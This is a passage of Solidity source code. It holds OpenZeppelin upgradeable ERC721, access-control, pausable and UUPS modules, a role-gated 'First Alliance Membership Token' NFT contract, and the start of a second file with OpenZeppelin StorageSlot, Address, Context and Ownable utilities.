"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorageUpgradeable is Initializable, ERC721Upgradeable {
function __ERC721URIStorage_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721URIStorage_init_unchained();
}
function __ERC721URIStorage_init_unchained() internal initializer {
}
using StringsUpgradeable for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
uint256[49] private __gap;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal initializer {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal initializer {
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {
function __ERC721Burnable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Burnable_init_unchained();
}
function __ERC721Burnable_init_unchained() internal initializer {
}
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
uint256[50] private __gap;
}
contract FirstAllianceMembershipToken is Initializable, ERC721Upgradeable, ERC721URIStorageUpgradeable, PausableUpgradeable, AccessControlUpgradeable, ERC721BurnableUpgradeable, UUPSUpgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
CountersUpgradeable.Counter private _tokenIdCounter;
bytes32 public constant UPGRADER_ROLE = keccak256("UPGRADER_ROLE");
function initialize() initializer public {
__ERC721_init("First Alliance Membership Token", "1ST");
__ERC721URIStorage_init();
__Pausable_init();
__AccessControl_init();
__ERC721Burnable_init();
__UUPSUpgradeable_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(PAUSER_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
_setupRole(UPGRADER_ROLE, msg.sender);
}
function _baseURI() internal pure override returns (string memory) {
return "https://token.gamechaingers.io/alliance/1ST";
}
function pause() public onlyRole(PAUSER_ROLE) {
_pause();
}
function unpause() public onlyRole(PAUSER_ROLE) {
_unpause();
}
function safeMint(address to) public onlyRole(MINTER_ROLE) {
_safeMint(to, _tokenIdCounter.current());
_tokenIdCounter.increment();
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _authorizeUpgrade(address newImplementation)
internal
onlyRole(UPGRADER_ROLE)
override
{}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId)
internal
override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
{
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Upgradeable, AccessControlUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
|
DC1
|
// SPDX-License-Identifier: MIT AND GPL-3.0
// File: OpenZeppelin/[email protected]/contracts/utils/StorageSlot.sol
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// File: OpenZeppelin/[email protected]/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: OpenZeppelin/[email protected]/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: OpenZeppelin/[email protected]/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
